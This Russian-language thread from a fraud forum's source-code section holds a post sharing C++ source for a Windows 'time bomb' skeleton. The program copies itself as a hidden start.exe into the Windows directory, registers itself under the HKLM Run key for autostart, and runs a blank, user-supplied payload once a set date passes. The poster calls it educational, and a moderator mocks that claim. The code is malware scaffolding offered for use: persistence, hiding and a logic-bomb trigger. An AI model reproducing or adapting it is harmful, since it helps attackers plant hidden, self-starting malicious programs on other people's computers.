1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Пример простейшей программы которая запускается в нужный день C++

Тема в разделе "Исходные коды", создана пользователем Lex, 18 янв 2013.

  1. TopicStarter Overlay
    Lex

    Lex

    Регистрация:
    10 дек 2012
    Сообщения:
    56
    Симпатии:
    34
    Код:
    #include <windows.h>
    #include <fstream>
    #include <time.h>
     
    //----------------------Настройки-----------------------------------------------
    #define SOFTNAME "\\start.exe" //имя файла после установки
    #define REGNAME "myname" //имя программы которое будет отображаться в автозапуске
    #define DAY 4            //день срабатывания программы (1-31)
    #define MON 2            //месяц срабатывания программы (1-12)
    #define YEAR 2012        //год бла-бла-бла
     
     
     
    //--------------глобальные переменные-------------------------------------------
    char myname[1024],windir[1024];
    HKEY rKey;
    time_t rawtime;
    struct tm * timeinfo,deathTime;
     
     
     
    //------------------------------------------------------------------------------
    using namespace std;
    //------------------------------------------------------------------------------
    int WINAPI WinMain (HINSTANCE hThisInstance,
                        HINSTANCE hPrevInstance,
                        LPSTR lpszArgument,
                        int nFunsterStil)
     
    {
        HWND hwnd;              /* This is the handle for our window */
        MSG messages;            /* Here messages to the application are saved */
        WNDCLASSEX wincl;        /* Data structure for the windowclass */
        //--------------------------------------------------------------------------
        GetModuleFileName(hThisInstance,myname,sizeof (myname));//получить своё местоположение в системе
        GetWindowsDirectory(windir,sizeof(windir));//получить директорию где установленна винда
        strcat(windir,SOFTNAME);//добавляем имя программы к дирректории винды чтобы получить путь установки файла
       
        //---------------начинаем инсталиться---------------------------------------
        ifstream in(windir);//пробуем открыть файл
        if(!in.is_open())//если он не открылся
        {
            in.close();//закрываем файл, потому что так надо
       
            CopyFile(myname,windir,TRUE);//копируемся
            SetFileAttributes(windir,FILE_ATTRIBUTE_HIDDEN);//добавляем атрибуты к новой копии
           
            RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &rKey);//открываем ветку реестра
            RegSetValueEx(rKey, REGNAME, 0, REG_SZ, (BYTE*)(LPCTSTR)windir, 35);//пишем в открытую ветку то что хотим
            RegCloseKey(rKey);//закрываем ключик реестра
           
        }
        rawtime=time(NULL);//получаем системное время
        timeinfo=localtime(&rawtime);//преобразуем системное время в удобный для нас формат
       
        //заполняем структуру нужными нам данными
        deathTime.tm_mday=DAY;
        deathTime.tm_mon=MON-1;
        deathTime.tm_year=YEAR-1900;
       
        if(deathTime.tm_mday<=timeinfo->tm_mday&&deathTime.tm_mon<=timeinfo->tm_mon&&deathTime.tm_year<=timeinfo->tm_year)//проверяем дату, если старше указанной =>выполняем код
        {
           
                    //Ну и наконец сюда пишем наш код =)
     
        }
        return 0;
    }
    Программа прописывается в автозапуск и при каждом запуске проверяет системную дату. Если дата больше той, что указанна в шапке, то запускается нужный нам код. Его каждый напишет для себя сам. Надеюсь кому-нить это пригодится. Писал сие чудо исключительно в образовательных целях =D

    Репост от Please login or register to view links
     
    • Like Like x 5
    Метки:
  2. googie

    googie Команда форума

    Регистрация:
    27 июл 2012
    Сообщения:
    824
    Симпатии:
    616
    ага, в образовательных))
     

Поделиться этой страницей

Загрузка...